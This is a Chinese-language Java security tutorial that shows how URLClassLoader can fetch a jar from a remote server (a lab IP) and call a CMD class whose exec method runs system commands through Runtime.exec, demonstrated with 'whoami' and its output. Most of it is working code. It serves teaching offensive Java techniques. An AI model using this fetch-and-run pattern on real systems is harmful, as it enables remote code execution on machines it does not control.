0x01 前言

URLClassLoader继承了ClassLoader,使得URLClassLoader提供了加载远程资源的能力,利用这个这个特性加载远程的jar来实现远程恶意类调用,非常好用

比如我们远程加载java.lang.Runtime类 然后调用这个类的 exec 方法执行命令

  1. # 倒霉蛋-目录结构
  2. ├── ClassLoader
  3. └── CustomClassLoaderAddClassFile
  4. ├── Test3.java (用来做测试的方法)
  5. # 放在远程服务器上的
  6. ├── MaliciousTest.jar (一个恶意的jar包)

0x02 打包jar包

0x02.1 MaliciousTest包-源码

注意这是一个 maven项目
MaliciousTest.zip

0x02.2 打包好的MaliciousTest.jar

MaliciousTest.jar.zip

0x02.3 打包过程

image.png
image.png
image.png
image.png
image.png

  1. // CMD类源码
  2. import java.io.ByteArrayOutputStream;
  3. import java.io.InputStream;
  4. public class CMD {
  5. public String exec(String cmd) {
  6. String results = null;
  7. try {
  8. // 获取命令执行结果的输入流
  9. InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
  10. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  11. byte[] b = new byte[1024];
  12. int l = -1;
  13. // 读取命令执行结果
  14. while ((l = in.read(b)) != -1) {
  15. baos.write(b, 0, l);
  16. }
  17. // 返回结果
  18. results = baos.toString();
  19. } catch (Exception e) {
  20. e.printStackTrace();
  21. }
  22. return results;
  23. }
  24. }

image.png
image.png
image.png
image.png

image.png

image.png
image.png
image.png

0x03 倒霉蛋的whoami

image.png

0x04 例子-远程加载MaliciousClass类执行命令

  1. // 把MaliciousTest.jar放到远程服务器上,以供外网访问
  2. 例如: http://192.168.24.134/MaliciousTest.jar
  1. package ClassLoader.CustomClassLoaderAddClassFile;
  2. import java.lang.reflect.Method;
  3. import java.net.URL;
  4. import java.net.URLClassLoader;
  5. public class Test3 {
  6. public static void main(String[] args) {
  7. try {
  8. // 定义远程加载的jar路径
  9. URL url = new URL("http://192.168.24.134/MaliciousTest.jar");
  10. // 创建URLClassLoader对象,并加载远程jar包
  11. URLClassLoader ucl = new URLClassLoader(new URL[]{url});
  12. // 通过URLClassLoader加载远程jar包中的CMD类
  13. Class MaliciousTest = ucl.loadClass("CMD");
  14. // 实例化
  15. Object mInstance = MaliciousTest.newInstance();
  16. // 获取exec方法
  17. Method method = MaliciousTest.getMethod("exec", String.class);
  18. // 定义需要执行的系统命令
  19. String cmd = "whoami";
  20. // 调用exec方法
  21. String results = (String) method.invoke(mInstance,cmd);
  22. System.out.println(results);
  23. } catch (Exception e) {
  24. e.printStackTrace();
  25. }
  26. }
  27. }
  28. // 运行结果
  29. pmiaowu